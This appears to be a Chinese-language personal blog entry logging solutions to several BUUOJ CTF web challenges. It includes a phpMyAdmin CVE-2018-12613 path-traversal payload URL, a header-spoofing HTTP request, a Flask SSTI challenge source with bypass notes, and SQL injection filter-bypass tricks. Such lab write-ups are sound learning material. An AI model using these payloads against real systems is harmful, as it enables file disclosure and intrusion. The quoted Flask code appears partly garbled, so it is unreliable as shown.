buu摸鱼日记(12)
[GWCTF 2019]我有一个数据库
用nikto直接扫出来了Phpmyadmin,然后就进了后台,然后停止了思考
这个搞不出来主要是要一个cve-2018-12613-PhpMyadmin后台文件包含
https://www.jianshu.com/p/fb9c2ae16d09
就是过滤不严导致的一个CVE,可以造成文件读取,RCE什么的
/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
[BJDCTF 2nd]假猪套天下第一
绕的我有点晕
尝试sql注入的时候返回L0g1n.php
等的时候发现要改请求头
一通改就行,最后是这样的
GET /L0g1n.php HTTP/1.1
Host: node3.buuoj.cn:28328
User-Agent: Commodore 64
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=99ql7tggdcn8nt36tbm1chlc66; time=1594460329999
Upgrade-Insecure-Requests: 1
Client-Ip: 127.0.0.1
Referer: gem-love.com
From: root@gem-love.com
via: y1ng.vip
注释里base64解开就是flag
[WesternCTF2018]shrine
麻了,又搜bypass搜到wp了
源码审计一看就知道是ssti
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['% set =None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
试了一下果然如此
利用app回调到sys再返回app来绕过相应权限问题以及括号,最后用__dict__吧所有的都翻出来
或者是利用app python的自带函数
url_for回调到相应app然后把config输出出来
(这里只有过滤直接输入config和self的)
[SWPU2019]Web1
一开始以为是xss(并不是)
这sql注入居然有23列!太你妈坑了
学了下bypass技巧
group/**/by/**/22
可以替代order by
被过滤# – 可以用’1之类的方法补掉后面
http://lz2y.top/index.php/2020/04/%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-swpu2019web1/
莫名其妙复现不出来,明天在研究吧(有点恶心)
PREVIOUSBuu摸鱼日记(11)
NEXTBuu摸鱼日记之13